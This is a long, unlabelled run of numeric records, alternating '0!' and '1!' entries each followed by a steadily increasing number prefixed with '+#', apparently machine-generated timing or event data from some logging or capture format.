0! +#3271794 1! +#3271859 0! +#3273794 1! +#3273859 0! +#3275794 1! +#3275859 0! +#3277795 1! +#3277859 0! +#3279795 1! +#3279860 0! +#3281795 1! +#3281860 0! +#3283796 1! +#3283860 0! +#3285796 1! +#3285861 0! +#3287796 1! +#3287861 0! +#3289797 1! +#3289861 0! +#3291797 1! +#3291862 0! +#3293797 1! +#3293862 0! +#3295798 1! +#3295862 0! +#3297798 1! +#3297862 0! +#3299798 1! +#3299863 0! +#3301798 1! +#3301863 0! +#3303799 1! +#3303863 0! +#3305799 1! +#3305864 0! +#3307799 1! +#3307864 0! +#3309800 1! +#3309864 0! +#3311800 1! +#3311865 0! +#3313800 1! +#3313865 0! +#3315801 1! +#3315865 0! +#3317801 1! +#3317866 0! +#3319801 1! +#3319866 0! +#3321801 1! +#3321866 0! +#3323802 1! +#3323866 0! +#3325802 1! +#3325867 0! +#3327802 1! +#3327867 0! +#3329803 1! +#3329867 0! +#3331803 1! +#3331868 0! +#3333803 1! +#3333868 0! +#3335804 1! +#3335868 0! +#3337804 1! +#3337869 0! +#3339804 1! +#3339869 0! +#3341805 1! +#3341869 0! +#3343805 1! +#3343870 0! +#3345805 1! +#3345870 0! +#3347805 1! +#3347870 0! +#3349806 1! +#3349870 0! +#3351806 1! +#3351871 0! +#3353806 1! +#3353871 0! +#3355807 1! +#3355871 0! +#3357807 1! +#3357872 0! +#3359807 1! +#3359872 0! +#3361808 1! +#3361872 0! +#3363808 1! +#3363873 0! +#3365808 1! +#3365873 0! +#3367809 1! +#3367873 0! +#3369809 1! +#3369874 0! +#3371809 1! +#3371874 0! +#3373810 1! +#3373874 0! +#3375810 1! +#3375874 0! +#3377810 1! +#3377875 0! +#3379810 1! +#3379875 0! +#3381811 1! +#3381875 0! +#3383811 1! +#3383876 0! +#3385811 1! +#3385876 0! +#3387812 1! +#3387876 0! +#3389812 1! +#3389877 0! +#3391812 1! +#3391877 0! +#3393813 1! +#3393877 0! +#3395813 1! +#3395878 0! +#3397813 1! +#3397878 0! +#3399813 1! +#3399878 0! +#3401814 1! +#3401971 0! +#3403814 1! +#3403972 0! +#3405814 1! +#3405972 0! +#3407815 1! +#3407972 0! +#3409815 1! +#3409973 0! +#3411815 1! +#3411973 0! +#3413816 1! +#3413973 0! +#3415816 1! +#3415973 0! +#3417816 1! +#3417974 0! +#3419817 1! +#3419974 0! +#3421817 1! +#3421974 0! +#3423817 1! +#3423975 0! +#3425818 1! +#3425975 0! +#3427818 1! +#3427975 0! +#3429818 1! +#3429976 0! +#3431818 1! +#3431976 0! +#3433819 1! +#3433976 0! +#3435819 1! +#3435977 0! +#3437819 1! +#3437977 0! +#3439820 1! +#3439977 0! +#3441820 1! +#3441977 0! +#3443820 1! +#3443978 0! +#3445821 1! +#3445978 0! +#3447821 1! +#3447978 0! +#3449821 1! +#3449979 0! +#3451822 1! +#3451979 0! +#3453822 1! +#3453979 0! +#3455822 1! +#3455980 0! +#3457822 1! +#3457980 0! +#3459823 1! +#3459980 0! +#3461823 1! +#3461980 0! +#3463823 1! +#3463981 0! +#3465824 1! +#3465981 0! +#3467824 1! +#3467981 0! +#3469824 1! +#3469982 0! +#3471825 1! +#3471982 0! +#3473825 1! +#3473982 0! +#3475825 1! +#3475983 0! +#3477826 1! +#3477983 0! +#3479826 1! +#3479983 0! +#3481826 1! +#3481984 0! +#3483826 1! +#3483984 0! +#3485827 1! +#3485984 0! +#3487827 1! +#3487985 0! +#3489827 1! +#3489985 0! +#3491828 1! +#3491985 0! +#3493828 1! +#3493986 0! +#3495828 1! +#3495986 0! +#3497829 1! +#3497986 0! +#3499829 1! +#3499986 0! +#3501829 1! +#3501987 0! +#3503830 1! +#3503987 0! +#3505830 1! +#3505987 0! +#3507830 1! +#3507988 0! +#3509830 1! +#3509988 0! +#3511831 1! +#3511988 0! +#3513831 1! +#3513989 0! +#3515831 1! +#3515989 0! +#3517832 1! +#3517989 0! +#3519832 1! +#3519989 0! +#3521832 1! +#3521990 0! +#3523833 1! +#3523990 0! +#3525833 1! +#3525990 0! +#3527833 1! +#3527991 0! +#3529834 1! +#3529991 0! +#3531834 1! +#3531992 0! +#3533834 1! +#3533992 0! +#3535835 1! +#3535992 0! +#3537835 1! +#3537992 0! +#3539835 1! +#3539993 0! +#3541835 1! +#3541993 0! +#3543836 1! +#3543993 0! +#3545836 1! +#3545994 0! +#3547836 1! +#3547994 0! +#3549837 1! +#3549994 0! +#3551837 1! +#3551994 0! +#3553837 1! +#3553995 0! +#3555838 1! +#3555995 0! +#3557838 1! +#3557995 0! +#3559838 1! +#3559996 0! +#3561838 1! +#3561996 0! +#3563839 1! +#3563996 0! +#3565839 1! +#3565997 0! +#3567839 1! +#3567997 0! +#3569840 1! +#3569997 0! +#3571840 1! +#3571997 0! +#3573840 1! +#3573998 0! +#3575841 1! +#3575998 0! +#3577841 1! +#3577998 0! +#3579841 1! +#3579999 0! +#3581842 1! +#3581999 0! +#3583842 1! +#3583999 0! +#3585842 1! +#3586000 0! +#3587842 1! +#3588000 0! +#3589843 1! +#3590000 0! +#3591843 1! +#3592001 0! +#3593843 1! +#3594001 0! +#3595844 1! +#3596001 0! +#3597844 1! +#3598001 0! +#3599844 1! +#3600002 0! +#3601845 1! +#3602053 0! +#3603845 1! +#3604054 0! +#3605845 1! +#3606054 0! +#3607845 1! +#3608054 0! +#3609846 1! +#3610055 0! +#3611846 1! +#3612055 0! +#3613846 1! +#3614055 0! +#3615847 1! +#3616056 0! +#3617847 1! +#3618056 0! +#3619847 1! +#3620056 0! +#3621848 1! +#3622057 0! +#3623848 1! +#3624057 0! +#3625848 1! +#3626057 0! +#3627848 1! +#3628057 0! +#3629849 1! +#3630058 0! +#3631849 1! +#3632058 0! +#3633849 1! +#3634058 0! +#3635850 1! +#3636059 0! +#3637850 1! +#3638059 0! +#3639850 1! +#3640059 0! +#3641851 1! +#3642060 0! +#3643851 1! +#3644060 0! +#3645851 1! +#3646060 0! +#3647852 1! +#3648060 0! +#3649852 1! +#3650061 0! +#3651852 1! +#3652061 0! +#3653852 1! +#3654061 0! +#3655853 1! +#3656062 0! +#3657853 1! +#3658062 0! +#3659853 1! +#3660062 0! +#3661854 1! +#3662063 0! +#3663854 1! +#3664063 0! +#3665854 1! +#3666063 0! +#3667855 1! +#3668064 0! +#3669855 1! +#3670064 0! +#3671855 1! +#3672064 0! +#3673855 1! +#3674064 0! +#3675856 1! +#3676065 0! +#3677856 1! +#3678065 0! +#3679857 1! +#3680066 0! +#3681857 1! +#3682066 0! +#3683857 1! +#3684066 0! +#3685857 1! +#3686066 0! +#3687858 1! +#3688067 0! +#3689858 1! +#3690067 0! +#3691858 1! +#3692067 0! +#3693859 1! +#3694068 0! +#3695859 1! +#3696068 0! +#3697859 1! +#3698068 0! +#3699860 1! +#3700069 0! +#3701860 1! +#3702069 0! +#3703860 1! +#3704069 0! +#3705860 1! +#3706069 0! +#3707861 1! +#3708070 0! +#3709861 1! +#3710070 0! +#3711861 1! +#3712070 0! +#3713862 1! +#3714071 0! +#3715862 1! +#3716071 0! +#3717862 1! +#3718071 0! +#3719863 1! +#3720072 0! +#3721863 1! +#3722072 0! +#3723863 1! +#3724072 0! +#3725864 1! +#3726073 0! +#3727864 1! +#3728073 0! +#3729864 1! +#3730073 0! +#3731865 1! +#3732073 0! +#3733865 1! +#3734074 0! +#3735865 1! +#3736074 0! +#3737865 1! +#3738074 0! +#3739866 1! +#3740075 0! +#3741866 1! +#3742075 0! +#3743866 1! +#3744075 0! +#3745867 1! +#3746076 0! +#3747867 1! +#3748076 0! +#3749867 1! +#3750076 0! +#3751868 1! +#3752077 0! +#3753868 1! +#3754077 0! +#3755868 1! +#3756077 0! +#3757869 1! +#3758077 0! +#3759869 1! +#3760078 0! +#3761869 1! +#3762078 0! +#3763870 1! +#3764078 0! +#3765870 1! +#3766079 0! +#3767870 1! +#3768079 0! +#3769870 1! +#3770079 0! +#3771871 1! +#3772080 0! +#3773871 1! +#3774080 0! +#3775871 1! +#3776080 0! +#3777872 1! +#3778081 0! +#3779872 1! +#3780081 0! +#3781872 1! +#3782081 0! +#3783873 1! +#3784082 0! +#3785873 1! +#3786082 0! +#3787873 1! +#3788082 0! +#3789874 1! +#3790082 0! +#3791874 1! +#3792083 0! +#3793874 1! +#3794083 0! +#3795874 1! +#3796083 0! +#3797875 1! +#3798084 0! +#3799875 1! +#3800084 0! +#3801875 1! +#3802115 0! +#3803876 1! +#3804116 0! +#3805876 1! +#3806117 0! +#3807876 1! +#3808116 0! +#3809877 1! +#3810117 0! +#3811877 1! +#3812117 0! +#3813877 1! +#3814117 0! +#3815877 1! +#3816117 0! +#3817878 1! +#3818118 0! +#3819878 1! +#3820118 0! +#3821878 1! +#3822118 0! +#3823879 1! +#3824119 0! +#3825879 1! +#3826119 0! +#3827879 1! +#3828119 0! +#3829880 1! +#3830120 0! +#3831880 1! +#3832120 0! +#3833880 1! +#3834120 0! +#3835881 1! +#3836121 0! +#3837881 1! +#3838121 0! +#3839881 1! +#3840121 0! +#3841882 1! +#3842122 0! +#3843882 1! +#3844122 0! +#3845882 1! +#3846122 0! +#3847883 1! +#3848123 0! +#3849883 1! +#3850123 0! +#3851883 1! +#3852123 0! +#3853883 1! +#3854123 0! +#3855884 1! +#3856124 0! +#3857884 1! +#3858124 0! +#3859884 1! +#3860124 0! +#3861885 1! +#3862125 0! +#3863885 1! +#3864125 0! +#3865885 1! +#3866125 0! +#3867886 1! +#3868126 0! +#3869886 1! +#3870126 0! +#3871886 1! +#3872126 0! +#3873886 1! +#3874126 0! +#3875887 1! +#3876127 0! +#3877887 1! +#3878127 0! +#3879887 1! +#3880127 0! +#3881888 1! +#3882128 0! +#3883888 1! +#3884128 0! +#3885888 1! +#3886128 0! +#3887889 1! +#3888129 0! +#3889889 1! +#3890129 0! +#3891889 1! +#3892129 0! +#3893890 1! +#3894130 0! +#3895890 1! +#3896130 0! +#3897890 1! +#3898130 0! +#3899891 1! +#3900131 0! +#3901891 1! +#3902131 0! +#3903891 1! +#3904131 0! +#3905891 1! +#3906131 0! +#3907892 1! +#3908132 0! +#3909892 1! +#3910132 0! +#3911892 1! +#3912132 0! +#3913893 1! +#3914133 0! +#3915893 1! +#3916133 0! +#3917893 1! +#3918133 0! +#3919894 1! +#3920134 0! +#3921894 1! +#3922134 0! +#3923894 1! +#3924134 0! +#3925895 1! +#3926135 0! +#3927895 1! +#3928135 0! +#3929895 1! +#3930135 0! +#3931895 1! +#3932135 0! +#3933896 1! +#3934136 0! +#3935896 1! +#3936136 0! +#3937896 1! +#3938136 0! +#3939897 1! +#3940137 0! +#3941897 1! +#3942137 0! +#3943897 1! +#3944137 0! +#3945898 1! +#3946138 0! +#3947898 1! +#3948138 0! +#3949898 1! +#3950138 0! +#3951899 1! +#3952139 0! +#3953899 1! +#3954139 0! +#3955899 1! +#3956139 0! +#3957899 1! +#3958139 0! +#3959900 1! +#3960140 0! +#3961900 1! +#3962140 0! +#3963900 1! +#3964140 0! +#3965901 1! +#3966141 0! +#3967901 1! +#3968141 0! +#3969901 1! +#3970141 0! +#3971902 1! +#3972142 0! +#3973902 1! +#3974142 0! +#3975902 1! +#3976142 0! +#3977902 1! +#3978142 0! +#3979903 1! +#3980143 0! +#3981903 1! +#3982143 0! +#3983903 1! +#3984143 0! +#3985904 1! +#3986144 0! +#3987904 1! +#3988144 0! +#3989904 1! +#3990144 0! +#3991905 1! +#3992145 0! +#3993905 1! +#3994145 0! +#3995905 1! +#3996145 0! +#3997906 1! +#3998146 0! +#3999906 1! +#4000146 0! +#4001906 1! +#4002054 0! +#4003907 1! +#4004054 0! +#4005907 1! +#4006054 0! +#4007907 1! +#4008054 0! +#4009908 1! +#4010055 0! +#4011908 1! +#4012055 0! +#4013908 1! +#4014055 0! +#4015908 1! +#4016056 0! +#4017909 1! +#4018056 0! +#4019909 1! +#4020056 0! +#4021909 1! +#4022057 0! +#4023910 1! +#4024057 0! +#4025910 1! +#4026057 0! +#4027910 1! +#4028058 0! +#4029911 1! +#4030058 0! +#4031911 1! +#4032058 0! +#4033911 1! +#4034059 0! +#4035912 1! +#4036059 0! +#4037912 1! +#4038059 0! +#4039912 1! +#4040059 0! +#4041912 1! +#4042060 0! +#4043913 1! +#4044060 0! +#4045913 1! +#4046060 0! +#4047913 1! +#4048061 0! +#4049914 1! +#4050061 0! +#4051914 1! +#4052061 0! +#4053914 1! +#4054062 0! +#4055915 1! +#4056062 0! +#4057915 1! +#4058062 0! +#4059915 1! +#4060062 0! +#4061916 1! +#4062063 0! +#4063916 1! +#4064063 0! +#4065916 1! +#4066063 0! +#4067917 1! +#4068064 0! +#4069917 1! +#4070064 0! +#4071917 1! +#4072064 0! +#4073917 1! +#4074065 0! +#4075918 1! +#4076065 0! +#4077918 1! +#4078065 0! +#4079918 1! +#4080066 0! +#4081919 1! +#4082066 0! +#4083919 1! +#4084066 0! +#4085919 1! +#4086067 0! +#4087920 1! +#4088067 0! +#4089920 1! +#4090067 0! +#4091920 1! +#4092067 0! +#4093921 1! +#4094068 0! +#4095921 1! +#4096068 0! +#4097921 1! +#4098068 0! +#4099921 1! +#4100069 0! +#4101922 1! +#4102069 0! +#4103922 1! +#4104069 0! +#4105922 1! +#4106070 0! +#4107923 1! +#4108070 0! +#4109923 1! +#4110070 0! +#4111923 1! +#4112070 0! +#4113924 1! +#4114071 0! +#4115924 1! +#4116071 0! +#4117925 1! +#4118072 0! +#4119925 1! +#4120072 0! +#4121925 1! +#4122072 0! +#4123926 1! +#4124073 0! +#4125926 1! +#4126073 0! +#4127926 1! +#4128073 0! +#4129927 1! +#4130074 0! +#4131927 1! +#4132074 0! +#4133927 1! +#4134074 0! +#4135927 1! +#4136075 0! +#4137928 1! +#4138075 0! +#4139928 1! +#4140075 0! +#4141928 1! +#4142075 0! +#4143929 1! +#4144076 0! +#4145929 1! +#4146076 0! +#4147929 1! +#4148076 0! +#4149930 1! +#4150077 0! +#4151930 1! +#4152077 0! +#4153930 1! +#4154077 0! +#4155930 1! +#4156078 0! +#4157931 1! +#4158078 0! +#4159931 1! +#4160078 0! +#4161931 1! +#4162079 0! +#4163932 1! +#4164079 0! +#4165932 1! +#4166079 0! +#4167932 1! +#4168080 0! +#4169933 1! +#4170080 0! +#4171933 1! +#4172080 0! +#4173933 1! +#4174080 0! +#4175934 1! +#4176081 0! +#4177934 1! +#4178081 0! +#4179934 1! +#4180081 0! +#4181934 1! +#4182082 0! +#4183935 1! +#4184082 0! +#4185935 1! +#4186082 0! +#4187935 1! +#4188083 0! +#4189936 1! +#4190083 0! +#4191936 1! +#4192083 0! +#4193936 1! +#4194083 0! +#4195937 1! +#4196084 0! +#4197937 1! +#4198084 0! +#4199937 1! +#4200084 0! +#4201938 1! +#4202002 0! +#4203938 1! +#4204003 0! +#4205938 1! +#4206003 0! +#4207939 1! +#4208003 0! +#4209939 1! +#4210003 0! +#4211939 1! +#4212004 0! +#4213939 1! +#4214004 0! +#4215940 1! +#4216004 0! +#4217940 1! +#4218005 0! +#4219940 1! +#4220005 0! +#4221941 1! +#4222005 0! +#4223941 1! +#4224006 0! +#4225941 1! +#4226006 0! +#4227942 1! +#4228006 0! +#4229942 1! +#4230007 0! +#4231942 1! +#4232007 0! +#4233942 1! +#4234007 0! +#4235943 1! +#4236007 0! +#4237943 1! +#4238008 0! +#4239943 1! +#4240008 0! +#4241944 1! +#4242008 0! +#4243944 1! +#4244009 0! +#4245944 1! +#4246009 0! +#4247945 1! +#4248009 0! +#4249945 1! +#4250009 0! +#4251945 1! +#4252010 0! +#4253945 1! +#4254010 0! +#4255946 1! +#4256011 0! +#4257946 1! +#4258011 0! +#4259946 1! +#4260011 0! +#4261947 1! +#4262011 0! +#4263947 1! +#4264012 0! +#4265947 1! +#4266012 0! +#4267948 1! +#4268012 0! +#4269948 1! +#4270013 0! +#4271948 1! +#4272013 0! +#4273949 1! +#4274013 0! +#4275949 1! +#4276014 0! +#4277949 1! +#4278014 0! +#4279950 1! +#4280014 0! +#4281950 1! +#4282015 0! +#4283950 1! +#4284015 0! +#4285950 1! +#4286015 0! +#4287951 1! +#4288015 0! +#4289951 1! +#4290016 0! +#4291951 1! +#4292016 0! +#4293952 1! +#4294016 0! +#4295952 1! +#4296017 0! +#4297952 1! +#4298017 0! +#4299953 1! +#4300017 0! +#4301953 1! +#4302018 0! +#4303953 1! +#4304018 0! +#4305954 1! +#4306018 0! +#4307954 1! +#4308019 0! +#4309954 1! +#4310019 0! +#4311954 1! +#4312019 0! +#4313955 1! +#4314019 0! +#4315955 1! +#4316020 0! +#4317955 1! +#4318020 0! +#4319956 1! +#4320020 0! +#4321956 1! +#4322021 0! +#4323956 1! +#4324021 0! +#4325957 1! +#4326021 0! +#4327957 1! +#4328022 0! +#4329957 1! +#4330022 0! +#4331958 1! +#4332022 0! +#4333958 1! +#4334023 0! +#4335958 1! +#4336023 0! +#4337958 1! +#4338023 0! +#4339959 1! +#4340024 0! +#4341959 1! +#4342024 0! +#4343959 1! +#4344024 0! +#4345960 1! +#4346024 0! +#4347960 1! +#4348025 0! +#4349960 1! +#4350025 0! +#4351961 1! +#4352025 0! +#4353961 1! +#4354026 0! +#4355961 1! +#4356026 0! +#4357962 1! +#4358026 0! +#4359962 1! +#4360027 0! +#4361962 1! +#4362027 0! +#4363962 1! +#4364027 0! +#4365963 1! +#4366027 0! +#4367963 1! +#4368028 0! +#4369963 1! +#4370028 0! +#4371964 1! +#4372028 0! +#4373964 1! +#4374029 0! +#4375964 1! +#4376029 0! +#4377965 1! +#4378029 0! +#4379965 1! +#4380030 0! +#4381965 1! +#4382030 0! +#4383966 1! +#4384030 0! +#4385966 1! +#4386030 0! +#4387966 1! +#4388031 0! +#4389966 1! +#4390031 0! +#4391967 1! +#4392031 0! +#4393967 1! +#4394032 0! +#4395967 1! +#4396032 0! +#4397968 1! +#4398032 0! +#4399968 1! +#4400033 0! +#4401968 1! +#4402054 0! +#4403969 1! +#4404054 0! +#4405969 1! +#4406054 0! +#4407969 1! +#4408054 0! +#4409970 1! +#4410055 0! +#4411970 1! +#4412055 0! +#4413970 1! +#4414055 0! +#4415971 1! +#4416056 0! +#4417971 1! +#4418056 0! +#4419971 1! +#4420056 0! +#4421971 1! +#4422057 0! +#4423972 1! +#4424057 0! +#4425972 1! +#4426057 0! +#4427972 1! +#4428058 0! +#4429973 1! +#4430058 0! +#4431973 1! +#4432058 0! +#4433973 1! +#4434058 0! +#4435974 1! +#4436059 0! +#4437974 1! +#4438059 0! +#4439974 1! +#4440059 0! +#4441975 1! +#4442060 0! +#4443975 1! +#4444060 0! +#4445975 1! +#4446060 0! +#4447975 1! +#4448061 0! +#4449976 1! +#4450061 0! +#4451976 1! +#4452061 0! +#4453976 1! +#4454062 0! +#4455977 1! +#4456062 0! +#4457977 1! +#4458062 0! +#4459977 1! +#4460063 0! +#4461978 1! +#4462063 0! +#4463978 1! +#4464063 0! +#4465978 1! +#4466063 0! +#4467979 1! +#4468064 0! +#4469979 1! +#4470064 0! +#4471979 1! +#4472064 0! +#4473979 1! +#4474065 0! +#4475980 1! +#4476065 0! +#4477980 1! +#4478065 0! +#4479980 1! +#4480066 0! +#4481981 1! +#4482066 0! +#4483981 1! +#4484066 0! +#4485981 1! +#4486067 0! +#4487982 1! +#4488067 0! +#4489982 1! +#4490067 0! +#4491982 1! +#4492067 0! +#4493982 1! +#4494068 0! +#4495983 1! +#4496068 0! +#4497983 1! +#4498068 0! +#4499983 1! +#4500069 0! +#4501984 1! +#4502069 0! +#4503984 1! +#4504069 0! +#4505984 1! +#4506070 0! +#4507985 1! +#4508070 0! +#4509985 1! +#4510070 0! +#4511985 1! +#4512071 0! +#4513986 1! +#4514071 0! +#4515986 1! +#4516071 0! +#4517986 1! +#4518071 0! +#4519986 1! +#4520072 0! +#4521987 1! +#4522072 0! +#4523987 1! +#4524072 0! +#4525987 1! +#4526073 0! +#4527988 1! +#4528073 0! +#4529988 1! +#4530073 0! +#4531988 1! +#4532074 0! +#4533989 1! +#4534074 0! +#4535989 1! +#4536074 0! +#4537989 1! +#4538074 0! +#4539990 1! +#4540075 0! +#4541990 1! +#4542075 0! +#4543990 1! +#4544075 0! +#4545990 1! +#4546076 0! +#4547991 1! +#4548076 0! +#4549991 1! +#4550076 0! +#4551991 1! +#4552077 0! +#4553992 1! +#4554077 0! +#4555992 1! +#4556077 0! +#4557992 1! +#4558078 0! +#4559993 1! +#4560078 0! +#4561993 1! +#4562078 0! +#4563993 1! +#4564079 0! +#4565994 1! +#4566079 0! +#4567994 1! +#4568079 0! +#4569994 1! +#4570079 0! +#4571995 1! +#4572080 0! +#4573995 1! +#4574080 0! +#4575995 1! +#4576080 0! +#4577995 1! +#4578081 0! +#4579996 1! +#4580081 0! +#4581996 1! +#4582081 0! +#4583996 1! +#4584082 0! +#4585997 1! +#4586082 0! +#4587997 1! +#4588082 0! +#4589997 1! +#4590083 0! +#4591998 1! +#4592083 0! +#4593998 1! +#4594083 0! +#4595998 1! +#4596083 0! +#4597999 1! +#4598084 0! +#4599999 1! +#4600084 0! +#4601999 1! +#4602157 0! +#4604000 1! +#4604157 0! +#4606000 1! +#4606157 0! +#4608000 1! +#4608158 0! +#4610000 1! +#4610158 0! +#4612001 1! +#4612158 0! +#4614001 1! +#4614158 0! +#4616001 1! +#4616159 0! +#4618002 1! +#4618159 0! +#4620002 1! +#4620159 0! +#4622002 1! +#4622160 0! +#4624003 1! +#4624160 0! +#4626003 1! +#4626160 0! +#4628003 1! +#4628161 0! +#4630003 1! +#4630161 0! +#4632004 1! +#4632161 0! +#4634004 1! +#4634161 0! +#4636004 1! +#4636162 0! +#4638005 1! +#4638162 0! +#4640005 1! +#4640162 0! +#4642005 1! +#4642163 0! +#4644006 1! +#4644163 0! +#4646006 1! +#4646163 0! +#4648006 1! +#4648164 0! +#4650007 1! +#4650164 0! +#4652007 1! +#4652164 0! +#4654007 1! +#4654165 0! +#4656008 1! +#4656165 0! +#4658008 1! +#4658165 0! +#4660008 1! +#4660166 0! +#4662009 1! +#4662166 0! +#4664009 1! +#4664166 0! +#4666009 1! +#4666167 0! +#4668009 1! +#4668167 0! +#4670010 1! +#4670168 0! +#4672010 1! +#4672168 0! +#4674010 1! +#4674168 0! +#4676011 1! +#4676168 0! +#4678011 1! +#4678168 0! +#4680011 1! +#4680169 0! +#4682012 1! +#4682169 0! +#4684012 1! +#4684169 0! +#4686012 1! +#4686170 0! +#4688013 1! +#4688170 0! +#4690013 1! +#4690170 0! +#4692013 1! +#4692171 0! +#4694013 1! +#4694171 0! +#4696014 1! +#4696171 0! +#4698014 1! +#4698172 0! +#4700014 1! +#4700172 0! +#4702015 1! +#4702172 0! +#4704015 1! +#4704172 0! +#4706015 1! +#4706173 0! +#4708016 1! +#4708173 0! +#4710016 1! +#4710173 0! +#4712016 1! +#4712174 0! +#4714017 1! +#4714174 0! +#4716017 1! +#4716174 0! +#4718017 1! +#4718175 0! +#4720018 1! +#4720175 0! +#4722018 1! +#4722175 0! +#4724018 1! +#4724176 0! +#4726018 1! +#4726176 0! +#4728019 1! +#4728176 0! +#4730019 1! +#4730177 0! +#4732019 1! +#4732177 0! +#4734020 1! +#4734177 0! +#4736020 1! +#4736178 0! +#4738020 1! +#4738178 0! +#4740021 1! +#4740178 0! +#4742021 1! +#4742178 0! +#4744021 1! +#4744179 0! +#4746022 1! +#4746179 0! +#4748022 1! +#4748179 0! +#4750022 1! +#4750180 0! +#4752023 1! +#4752180 0! +#4754023 1! +#4754180 0! +#4756023 1! +#4756181 0! +#4758023 1! +#4758181 0! +#4760024 1! +#4760181 0! +#4762024 1! +#4762182 0! +#4764024 1! +#4764182 0! +#4766025 1! +#4766182 0! +#4768025 1! +#4768182 0! +#4770025 1! +#4770183 0! +#4772026 1! +#4772183 0! +#4774026 1! +#4774183 0! +#4776026 1! +#4776184 0! +#4778026 1! +#4778184 0! +#4780027 1! +#4780184 0! +#4782027 1! +#4782185 0! +#4784027 1! +#4784185 0! +#4786028 1! +#4786185 0! +#4788028 1! +#4788186 0! +#4790028 1! +#4790186 0! +#4792029 1! +#4792186 0! +#4794029 1! +#4794187 0! +#4796029 1! +#4796187 0! +#4798030 1! +#4798187 0! +#4800030 1! +#4800187 0! +#4802030 1! +#4802239 0! +#4804031 1! +#4804240 0! +#4806031 1! +#4806240 0! +#4808031 1! +#4808240 0! +#4810031 1! +#4810240 0! +#4812032 1! +#4812241 0! +#4814032 1! +#4814241 0! +#4816032 1! +#4816241 0! +#4818033 1! +#4818242 0! +#4820033 1! +#4820242 0! +#4822033 1! +#4822242 0! +#4824034 1! +#4824243 0! +#4826034 1! +#4826243 0! +#4828034 1! +#4828243 0! +#4830035 1! +#4830243 0! +#4832035 1! +#4832244 0! +#4834035 1! +#4834244 0! +#4836036 1! +#4836244 0! +#4838036 1! +#4838245 0! +#4840036 1! +#4840245 0! +#4842036 1! +#4842245 0! +#4844037 1! +#4844246 0! +#4846037 1! +#4846246 0! +#4848037 1! +#4848246 0! +#4850038 1! +#4850247 0! +#4852038 1! +#4852247 0! +#4854038 1! +#4854247 0! +#4856039 1! +#4856248 0! +#4858039 1! +#4858248 0! +#4860039 1! +#4860248 0! +#4862040 1! +#4862249 0! +#4864040 1! +#4864249 0! +#4866040 1! +#4866249 0! +#4868041 1! +#4868249 0! +#4870041 1! +#4870250 0! +#4872041 1! +#4872250 0! +#4874041 1! +#4874251 0! +#4876042 1! +#4876251 0! +#4878042 1! +#4878251 0! +#4880042 1! +#4880251 0! +#4882043 1! +#4882252 0! +#4884043 1! +#4884252 0! +#4886043 1! +#4886252 0! +#4888044 1! +#4888253 0! +#4890044 1! +#4890253 0! +#4892044 1! +#4892253 0! +#4894045 1! +#4894254 0! +#4896045 1! +#4896254 0! +#4898045 1! +#4898254 0! +#4900045 1! +#4900254 0! +#4902046 1! +#4902255 0! +#4904046 1! +#4904255 0! +#4906046 1! +#4906255 0! +#4908047 1! +#4908256 0! +#4910047 1! +#4910256 0! +#4912047 1! +#4912256 0! +#4914048 1! +#4914257 0! +#4916048 1! +#4916257 0! +#4918048 1! +#4918257 0! +#4920049 1! +#4920258 0! +#4922049 1! +#4922258 0! +#4924049 1! +#4924258 0! +#4926049 1! +#4926258 0! +#4928050 1! +#4928259 0! +#4930050 1! +#4930259 0! +#4932050 1! +#4932259 0! +#4934051 1! +#4934260 0! +#4936051 1! +#4936260 0! +#4938051 1! +#4938260 0! +#4940052 1! +#4940261 0! +#4942052 1! +#4942261 0! +#4944052 1! +#4944261 0! +#4946053 1! +#4946262 0! +#4948053 1! +#4948262 0! +#4950053 1! +#4950262 0! +#4952053 1! +#4952262 0! +#4954054 1! +#4954263 0! +#4956054 1! +#4956263 0! +#4958054 1! +#4958263 0! +#4960055 1! +#4960264 0! +#4962055 1! +#4962264 0! +#4964055 1! +#4964264 0! +#4966056 1! +#4966265 0! +#4968056 1! +#4968265 0! +#4970056 1! +#4970265 0! +#4972056 1! +#4972265 0! +#4974057 1! +#4974266 0! +#4976057 1! +#4976266 0! +#4978057 1! +#4978266 0! +#4980058 1! +#4980267 0! +#4982058 1! +#4982267 0! +#4984058 1! +#4984267 0! +#4986059 1! +#4986268 0! +#4988059 1! +#4988268 0! +#4990059 1! +#4990268 0! +#4992060 1! +#4992268 0! +#4994060 1! +#4994269 0! +#4996060 1! +#4996269 0! +#4998060 1! +#4998269 0! +#5000061 1! +#5000270 0! +#5002061 1! +#5002146 0! +#5004061 1! +#5004147 0! +#5006062 1! +#5006147 0! +#5008062 1! +#5008147 0! +#5010062 1! +#5010148 0! +#5012063 1! +#5012148 0! +#5014063 1! +#5014148 0! +#5016063 1! +#5016148 0! +#5018064 1! +#5018149 0! +#5020064 1! +#5020149 0! +#5022064 1! +#5022149 0! +#5024064 1! +#5024150 0! +#5026065 1! +#5026150 0! +#5028065 1! +#5028150 0! +#5030065 1! +#5030151 0! +#5032066 1! +#5032151 0! +#5034066 1! +#5034151 0! +#5036066 1! +#5036151 0! +#5038067 1! +#5038152 0! +#5040067 1! +#5040152 0! +#5042067 1! +#5042152 0! +#5044067 1! +#5044153 0! +#5046068 1! +#5046153 0! +#5048068 1! +#5048153 0! +#5050068 1! +#5050154 0! +#5052069 1! +#5052154 0! +#5054069 1! +#5054154 0! +#5056069 1! +#5056155 0! +#5058070 1! +#5058155 0! +#5060070 1! +#5060155 0! +#5062070 1! +#5062156 0! +#5064071 1! +#5064156 0! +#5066071 1! +#5066156 0! +#5068071 1! +#5068156 0! +#5070071 1! +#5070157 0! +#5072072 1! +#5072157 0! +#5074072 1! +#5074157 0! +#5076072 1! +#5076158 0! +#5078073 1! +#5078158 0! +#5080073 1! +#5080158 0! +#5082073 1! +#5082159 0! +#5084074 1! +#5084159 0! +#5086074 1! +#5086159 0! +#5088074 1! +#5088160 0! +#5090075 1! +#5090160 0! +#5092075 1! +#5092160 0! +#5094075 1! +#5094160 0! +#5096075 1! +#5096161 0! +#5098076 1! +#5098161 0! +#5100076 1! +#5100161 0! +#5102076 1! +#5102162 0! +#5104077 1! +#5104162 0! +#5106077 1! +#5106162 0! +#5108077 1! +#5108163 0! +#5110078 1! +#5110163 0! +#5112078 1! +#5112163 0! +#5114078 1! +#5114163 0! +#5116079 1! +#5116164 0! +#5118079 1! +#5118164 0! +#5120079 1! +#5120164 0! +#5122080 1! +#5122165 0! +#5124080 1! +#5124165 0! +#5126080 1! +#5126165 0! +#5128080 1! +#5128166 0! +#5130081 1! +#5130166 0! +#5132081 1! +#5132166 0! +#5134081 1! +#5134167 0! +#5136082 1! +#5136167 0! +#5138082 1! +#5138167 0! +#5140082 1! +#5140168 0! +#5142083 1! +#5142168 0! +#5144083 1! +#5144168 0! +#5146083 